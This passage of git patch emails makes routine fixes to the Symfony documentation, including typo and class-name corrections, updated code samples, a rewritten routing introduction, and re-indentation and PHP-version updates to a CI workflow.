-This method works similar to the ``Extension::load()`` method, but it uses
-a new API to define and import service configuration.
-
-.. note::
-
-    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
-    ``$config`` parameter is already merged and processed by the
-    ``AbstractBundle``.
-
-.. note::
-
-    The ``loadExtension()`` is called only at compile time.
-
 Adding Classes to Compile
 -------------------------
 

From 5f33d0cd02e38c24621dee3de8b7596dafbe6533 Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Wed, 24 Apr 2024 19:49:34 +0200
Subject: [PATCH 6049/7107] Update scheduler.rst

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 3a104b4b353..afc99404df5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -591,7 +591,7 @@ In your handler, you can check a condition and, if affirmative, access the
         }
     }
 
-    // src/Scheduler/Handler/.php
+    // src/Scheduler/Handler/CleanUpOldSalesReportHandler.php
     namespace App\Scheduler\Handler;
 
     #[AsMessageHandler]

From 044be1e65529b555f35688fc84998e3dd18b374b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Apr 2024 16:11:47 +0200
Subject: [PATCH 6050/7107] Tweaks

---
 security/access_token.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 593c6404c7a..2aca75118a3 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -537,7 +537,7 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``OidcTokenHandler`` requires the package ``web-token/jwt-library``.
+The ``OidcTokenHandler`` requires the ``web-token/jwt-library`` package.
 If you haven't installed it yet, run this command:
 
 .. code-block:: terminal
@@ -619,6 +619,11 @@ it and retrieve the user info from it:
             ;
         };
 
+.. versionadded:: 7.1
+
+    The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
+    In previous versions, only the ``ES256`` algorithm was supported.
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
 default as user identifier. To use another claim, specify it on the
 configuration:

From 2c16e402a0141c60dced61bee1c787d52a1139f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 23 Apr 2024 11:01:07 +0200
Subject: [PATCH 6051/7107] Upload Files: Removing `getParameter()`

---
 controller/upload_file.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index e444101ef00..b273deb0fab 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -134,7 +134,7 @@ Finally, you need to update the code of the controller that handles the form::
         /**
          * @Route("/product/new", name="app_product_new")
          */
-        public function new(Request $request, SluggerInterface $slugger): Response
+        public function new(Request $request, SluggerInterface $slugger, string $brochuresDirectory): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);
@@ -154,10 +154,7 @@ Finally, you need to update the code of the controller that handles the form::
 
                     // Move the file to the directory where brochures are stored
                     try {
-                        $brochureFile->move(
-                            $this->getParameter('brochures_directory'),
-                            $newFilename
-                        );
+                        $brochureFile->move($brochuresDirectory, $newFilename);
                     } catch (FileException $e) {
                         // ... handle exception if something happens during file upload
                     }
@@ -223,7 +220,7 @@ You can use the following code to link to the PDF brochure of a product:
         // ...
 
         $product->setBrochureFilename(
-            new File($this->getParameter('brochures_directory').'/'.$product->getBrochureFilename())
+            new File($brochuresDirectory.DIRECTORY_SEPARATOR.$product->getBrochureFilename())
         );
 
 Creating an Uploader Service

From 507eed36af4a4ca28ecdaf719c7eedcb75526ea1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 27 Apr 2024 10:23:41 +0200
Subject: [PATCH 6052/7107] use option name as link label

---
 forms.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index 715fdb17f27..8b8a0534201 100644
--- a/forms.rst
+++ b/forms.rst
@@ -840,7 +840,7 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    ``DELETE`` request. The :ref:`http_method_override <configuration-framework-http_method_override>`
     option must be enabled for this to work.
 
 Changing the Form Name

From 87c724546a48d40eb74fc68cb970d473eb0111c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com>
Date: Sat, 27 Apr 2024 22:01:08 +0200
Subject: [PATCH 6053/7107] [Scheduler] fix dead link with correct once, again

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index afc99404df5..5257a37d422 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -965,12 +965,12 @@ before being further redispatched to its corresponding handler::
     }
 
 When using the ``RedispatchMessage``, Symfony will attach a
-:class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to the message,
+:class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
 .. versionadded:: 6.4
 
-    Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp`
+    Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`
     to redispatched messages was introduced in Symfony 6.4.
 
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization

From 092b40e1b2195db9cecd574cf33898690e8ec3d7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 25 Apr 2024 12:45:12 +0200
Subject: [PATCH 6054/7107] Fix indentation

---
 .github/workflows/ci.yaml | 121 +++++++++++++++++++-------------------
 1 file changed, 62 insertions(+), 59 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a7a2db5f7a9..44aa8481fd5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -79,65 +79,68 @@ jobs:
 
     symfony-code-block-checker:
         name: Code Blocks
+
         runs-on: ubuntu-latest
+
         continue-on-error: true
+
         steps:
-          - name: Checkout code
-            uses: actions/checkout@v3
-            with:
-                path: 'docs'
-
-          - name: Set-up PHP
-            uses: shivammathur/setup-php@v2
-            with:
-                php-version: 8.1
-                coverage: none
-
-          - name: Fetch branch from where the PR started
-            working-directory: docs
-            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-          - name: Find modified files
-            id: find-files
-            working-directory: docs
-            run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
-
-          - name: Get composer cache directory
-            id: composercache
-            working-directory: docs/_build
-            run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
-
-          - name: Cache dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v3
-            with:
-                path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-          - name: Install dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-          - name: Install test application
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-              cd _sf_app
-              composer update
-
-          - name: Generate baseline
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              CURRENT=$(git rev-parse HEAD)
-              git checkout -m ${{ github.base_ref }}
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-              git checkout -m $CURRENT
-              cat baseline.json
-
-          - name: Verify examples
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+            -   name: Checkout code
+                uses: actions/checkout@v3
+                with:
+                    path: 'docs'
+
+            -   name: Set-up PHP
+                uses: shivammathur/setup-php@v2
+                with:
+                    php-version: 8.1
+                    coverage: none
+
+            -   name: Fetch branch from where the PR started
+                working-directory: docs
+                run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+            -   name: Find modified files
+                id: find-files
+                working-directory: docs
+                run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
+
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: docs/_build
+                run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
+
+            -   name: Cache dependencies
+                if: ${{ steps.find-files.outputs.files }}
+                uses: actions/cache@v3
+                with:
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+            -   name: Install dependencies
+                if: ${{ steps.find-files.outputs.files }}
+                run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+            -   name: Install test application
+                if: ${{ steps.find-files.outputs.files }}
+                run: |
+                    git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+                    cd _sf_app
+                    composer update
+
+            -   name: Generate baseline
+                if: ${{ steps.find-files.outputs.files }}
+                working-directory: docs
+                run: |
+                    CURRENT=$(git rev-parse HEAD)
+                    git checkout -m ${{ github.base_ref }}
+                    ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+                    git checkout -m $CURRENT
+                    cat baseline.json
+
+            -   name: Verify examples
+                if: ${{ steps.find-files.outputs.files }}
+                working-directory: docs
+                run: |
+                    ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From 9fafa5fa863bed33d56113f904f6dca279e06f4c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 29 Apr 2024 12:19:06 +0200
Subject: [PATCH 6055/7107] Use PHP 8.2 for build

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 778d3fd5a2b..09158fd099a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -26,7 +26,7 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.2
                     coverage: none
                     tools: "composer:v2"
 

From 11cd34d903362e897626a0d80110dd50da3ba7d4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 29 Apr 2024 12:21:09 +0200
Subject: [PATCH 6056/7107] -

---
 bundles/configuration.rst | 4 ----
 bundles/extension.rst     | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 48b91c1713a..882e828aeb6 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -61,10 +61,6 @@ There are two different ways of creating friendly configuration for a bundle:
 Using the AbstractBundle Class
 ------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class, you can add all the logic related to processing the configuration in that class::
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index d2e3cd05b9d..e1e2dba3e6b 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -20,10 +20,6 @@ There are two different ways of doing it:
 Loading Services Directly in your Bundle Class
 ----------------------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
 method to load service definitions from configuration files::

From d7b56cd00b50d69db80c294e0ec8a6b0c87268f3 Mon Sep 17 00:00:00 2001
From: Damien Fernandes <damien.fernandes24@gmail.com>
Date: Mon, 29 Apr 2024 13:03:46 +0200
Subject: [PATCH 6057/7107] [Scheduler] Fix code sample

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6a50a8e34ae..dd723c326c3 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -901,7 +901,7 @@ same task more than once::
                 ->with(
                     // ...
                 )
-                ->lock($this->lockFactory->createLock('my-lock')
+                ->lock($this->lockFactory->createLock('my-lock'));
         }
     }
 

From d3470566f1058b3a5fb20079de0848275b9cd41b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 30 Apr 2024 08:59:11 +0200
Subject: [PATCH 6058/7107] rewrite the routing introduction

---
 quick_tour/the_big_picture.rst | 75 ++++++++++------------------------
 1 file changed, 22 insertions(+), 53 deletions(-)

diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34bea4f82cc..b069cb4f716 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -39,7 +39,7 @@ Symfony application:
     ├─ var/
     └─ vendor/
 
-Can we already load the project in a browser? Yes! You can setup
+Can we already load the project in a browser? Yes! You can set up
 :doc:`Nginx or Apache </setup/web_server_configuration>` and configure their
 document root to be the ``public/`` directory. But, for development, it's better
 to :doc:`install the Symfony local web server </setup/symfony_server>` and run
@@ -63,20 +63,6 @@ web app, or a microservice. Symfony starts small, but scales with you.
 
 But before we go too far, let's dig into the fundamentals by building our first page.
 
-Start in ``config/routes.yaml``: this is where *we* can define the URL to our new
-page. Uncomment the example that already lives in the file:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-    index:
-        path: /
-        controller: 'App\Controller\DefaultController::index'
-
-This is called a *route*: it defines the URL to your page (``/``) and the "controller":
-the *function* that will be called whenever anyone goes to this URL. That function
-doesn't exist yet, so let's create it!
-
 In ``src/Controller``, create a new ``DefaultController`` class and an ``index``
 method inside::
 
@@ -84,9 +70,11 @@ method inside::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController
     {
+        #[Route('/', name: 'index')]
         public function index(): Response
         {
             return new Response('Hello!');
@@ -104,11 +92,21 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-      # config/routes.yaml
-      index:
-    -     path: /
-    +     path: /hello/{name}
-          controller: 'App\Controller\DefaultController::index'
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
+
+      use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\Routing\Attribute\Route;
+
+      class DefaultController
+      {
+    -     #[Route('/', name: 'index')]
+    +     #[Route('/hello/{name}', name: 'index')]
+          public function index(): Response
+          {
+              return new Response('Hello!');
+          }
+      }
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
@@ -120,9 +118,11 @@ like a wildcard that matches anything. And it gets better! Update the controller
       namespace App\Controller;
 
       use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\Routing\Attribute\Route;
 
       class DefaultController
       {
+          #[Route('/hello/{name}', name: 'index')]
     -     public function index()
     +     public function index(string $name): Response
           {
@@ -135,39 +135,8 @@ Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
 argument in your controller.
 
-But this can be even simpler! Comment-out the YAML route by adding the
-``#`` character:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-    # index:
-    #     path: /hello/{name}
-    #     controller: 'App\Controller\DefaultController::index'
-
-Instead, add the route *right above* the controller method:
-
-.. code-block:: diff
-
-      <?php
-      // src/Controller/DefaultController.php
-      namespace App\Controller;
-
-      use Symfony\Component\HttpFoundation\Response;
-    + use Symfony\Component\Routing\Attribute\Route;
-
-      class DefaultController
-      {
-    +      #[Route('/hello/{name}', methods: ['GET'])]
-           public function index(string $name): Response
-           {
-               // ...
-           }
-      }
-
-This works just like before! But by using attributes, the route and controller
-live right next to each other. Need another page? Add another route and method
-in ``DefaultController``::
+But by using attributes, the route and controller live right next to each
+other. Need another page? Add another route and method in ``DefaultController``::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;

From 4b75213c66d04886a1df5a18e85c50845a18d6e0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Apr 2024 17:35:32 +0200
Subject: [PATCH 6059/7107] [Security]: Redirect user to profile page

Page: https://symfony.com/doc/5.x/security/custom_authenticator.html

The homepage is public. After login, you should redirect the user to some *protected* page.
---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e79d8a002a1..9614c3a4e55 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -163,7 +163,7 @@ can define what happens in these cases:
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
     If the user is authenticated, this method is called with the
     authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to the homepage).
+    redirect the user to their profile page).
 
     If ``null`` is returned, the request continues like normal (i.e. the
     controller matching the login route is called). This is useful for API

From 1b271673ceca6c3813d0930f836f8b42e0efa5dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 May 2024 08:43:41 +0200
Subject: [PATCH 6060/7107] [Scheduler] Fix code sample

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 5257a37d422..8c9aaa48b1c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -934,7 +934,7 @@ same task more than once::
                 ->with(
                     // ...
                 )
-                ->lock($this->lockFactory->createLock('my-lock')
+                ->lock($this->lockFactory->createLock('my-lock'));
         }
     }
 

From a209c5709324cea384f54097333c289d77153571 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 2 May 2024 08:50:08 +0200
Subject: [PATCH 6061/7107] rename the model_type option to input

---
 reference/forms/types/money.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 8e2130a5909..5793097fe2f 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -76,8 +76,8 @@ If set to ``true``, the HTML input will be rendered as a native HTML5
 
     As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
 
-model_type
-~~~~~~~~~~
+input
+~~~~~
 
 **type**: ``string`` **default**: ``float``
 
@@ -87,7 +87,7 @@ values stored in cents as integers) set this option to ``integer``.
 
 .. versionadded:: 7.1
 
-    The ``model_type`` option was introduced in Symfony 7.1.
+    The ``input`` option was introduced in Symfony 7.1.
 
 scale
 ~~~~~

From 7cf7c66a2693c4007f84af7755270d0ce33497b0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Thu, 2 May 2024 09:08:03 +0200
Subject: [PATCH 6062/7107] Fix typo in bundles/extension.rst

---
 bundles/extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index d2e3cd05b9d..6b87572a6de 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -75,7 +75,7 @@ This is the traditional way of loading service definitions in bundles. For new
 bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`,
 but the traditional way of creating an extension class still works.
 
-A depdendency injection extension is defined as a class that follows these
+A dependency injection extension is defined as a class that follows these
 conventions (later you'll learn how to skip them if needed):
 
 * It has to live in the ``DependencyInjection`` namespace of the bundle;

From 90c5f4f9fabfa2fdca9a79e6c79fa70983e3922f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 2 May 2024 11:43:31 +0200
Subject: [PATCH 6063/7107] deprecate the base_template_class option

---
 reference/configuration/twig.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 1b9c1ef3bd9..596d70d8a2b 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -62,6 +62,10 @@ base_template_class
 
 **type**: ``string`` **default**: ``Twig\Template``
 
+.. deprecated:: 7.1
+
+    The ``base_template_class`` option is deprecated since Symfony 7.1.
+
 Twig templates are compiled into PHP classes before using them to render
 contents. This option defines the base class from which all the template classes
 extend. Using a custom base template is discouraged because it will make your

From 6782a79f122144291f675d460d159d3ef7df6c50 Mon Sep 17 00:00:00 2001
From: Ali Yousefi <aliyousefi.tec@gmail.com>
Date: Thu, 2 May 2024 19:03:12 +0330
Subject: [PATCH 6064/7107] Update controller.rst

In use statement use wrong case, then this error happens 'Case mismatch between loaded and declared class names: "App\Model\UserDto" vs "App\Model\UserDTO". ',

https://stackoverflow.com/questions/78352633/controller-returning-500-could-not-denormalize-object-of-type/78420166
---
 controller.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index 436326aa700..1a46200ebdf 100644
--- a/controller.rst
+++ b/controller.rst
@@ -419,7 +419,7 @@ optional validation constraints::
 You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
 attribute in your controller::
 
-    use App\Model\UserDto;
+    use App\Model\UserDTO;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
@@ -454,7 +454,7 @@ The default status code returned if the validation fails is 404.
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 
-    use App\Model\UserDto;
+    use App\Model\UserDTO;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapQueryString;
 
@@ -497,7 +497,7 @@ In this case, it is also possible to directly map this payload to your DTO by
 using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload`
 attribute::
 
-    use App\Model\UserDto;
+    use App\Model\UserDTO;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
 

From 778ffdf3f0815c5f98a42e745c079f13646ab452 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sun, 5 May 2024 23:54:24 +0200
Subject: [PATCH 6065/7107] [Bundle] Fix Bundle configuration root key

It should be acme_social instead of acme.social
---
 bundles/configuration.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 48b91c1713a..4efba904b0e 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -98,7 +98,7 @@ class, you can add all the logic related to processing the configuration in that
             // use it directly to configure the service container (when defining an
             // extension class, you also have to do this merging and processing)
             $containerConfigurator->services()
-                ->get('acme.social.twitter_client')
+                ->get('acme_social.twitter_client')
                 ->arg(0, $config['twitter']['client_id'])
                 ->arg(1, $config['twitter']['client_secret'])
             ;
@@ -347,7 +347,7 @@ For example, imagine your bundle has the following example config:
             https://symfony.com/schema/dic/services/services-1.0.xsd"
     >
         <services>
-            <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient">
+            <service id="acme_social.twitter_client" class="Acme\SocialBundle\TwitterClient">
                 <argument></argument> <!-- will be filled in with client_id dynamically -->
                 <argument></argument> <!-- will be filled in with client_secret dynamically -->
             </service>
@@ -370,7 +370,7 @@ In your extension, you can load this and dynamically set its arguments::
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $container->getDefinition('acme.social.twitter_client');
+        $definition = $container->getDefinition('acme_social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }

From 1d9a171a4950b18db9f76fba2f0db5913c908d60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Anderson=20M=C3=BCller?= <anderson.a.muller@gmail.com>
Date: Fri, 3 May 2024 20:52:01 +0200
Subject: [PATCH 6066/7107] Fix group handler name

---
 logging/monolog_email.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 3302707bea3..350a5646a31 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -292,7 +292,7 @@ get logged on the server as well as the emails being sent:
                 ->handler('grouped')
             ;
 
-            $monolog->handler('group')
+            $monolog->handler('grouped')
                 ->type('group')
                 ->members(['streamed', 'deduplicated'])
             ;
@@ -322,7 +322,7 @@ get logged on the server as well as the emails being sent:
             ;
         };
 
-This uses the ``group`` handler to send the messages to the two
+This uses the ``grouped`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
 now be both written to the log file and emailed.
 

From 880c507233780b22371e5502b3726d04cb2caf6f Mon Sep 17 00:00:00 2001
From: Zahir Saad Bouzid <zahirnet@gmail.com>
Date: Thu, 2 May 2024 11:28:33 +0200
Subject: [PATCH 6067/7107] [Cache] Small correction in the use of tags in the
 cache

Replacement of the word key by tag in the description of the use of tags in the cache
---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 5dd560a94cc..d5a7082b748 100644
--- a/cache.rst
+++ b/cache.rst
@@ -572,7 +572,7 @@ Using Cache Tags
 In applications with many cache keys it could be useful to organize the data stored
 to be able to invalidate the cache more efficiently. One way to achieve that is to
 use cache tags. One or more tags could be added to the cache item. All items with
-the same key could be invalidated with one function call::
+the same tag could be invalidated with one function call::
 
     use Symfony\Contracts\Cache\ItemInterface;
     use Symfony\Contracts\Cache\TagAwareCacheInterface;

From dfc8acc913d1bc3481d6ce9d63892b7910d998ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Mon, 6 May 2024 18:58:42 +0200
Subject: [PATCH 6068/7107] [Reference] Replace param converter with value
 resolver

---
 reference/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index 92f917f9115..411e5e327f5 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -56,7 +56,7 @@ their priorities:
 
 This event is dispatched after the controller has been resolved but before executing
 it. It's useful to initialize things later needed by the
-controller, such as `param converters`_, and even to change the controller
+controller, such as `value resolvers`_, and even to change the controller
 entirely::
 
     use Symfony\Component\HttpKernel\Event\ControllerEvent;
@@ -297,4 +297,4 @@ their priorities:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
-.. _`param converters`: https://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`value resolvers`: https://symfony.com/doc/current/controller/value_resolver.html#managing-value-resolvers

From dabb2d9f6976a2e475279d6caf24a3330649fc8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 May 2024 11:15:03 +0200
Subject: [PATCH 6069/7107] [Validator] Misc tweaks in MacAddress and Charset
 constraints

---
 reference/constraints/Charset.rst    |  4 ++--
 reference/constraints/MacAddress.rst | 14 +++++++-------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 4f1a260356f..084f24cdf76 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -88,8 +88,8 @@ Options
 
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
-encodings. This option accepts any value that can be passed to
-:phpfunction:`mb_detect_encoding`.
+encodings. This option accepts any value that can be passed to the
+:phpfunction:`mb_detect_encoding` PHP function.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 2958af49874..59adffe7c11 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -19,18 +19,18 @@ Basic Usage
 -----------
 
 To use the MacAddress validator, apply it to a property on an object that
-will contain a host name.
+can contain a MAC address:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        // src/Entity/Author.php
+        // src/Entity/Device.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
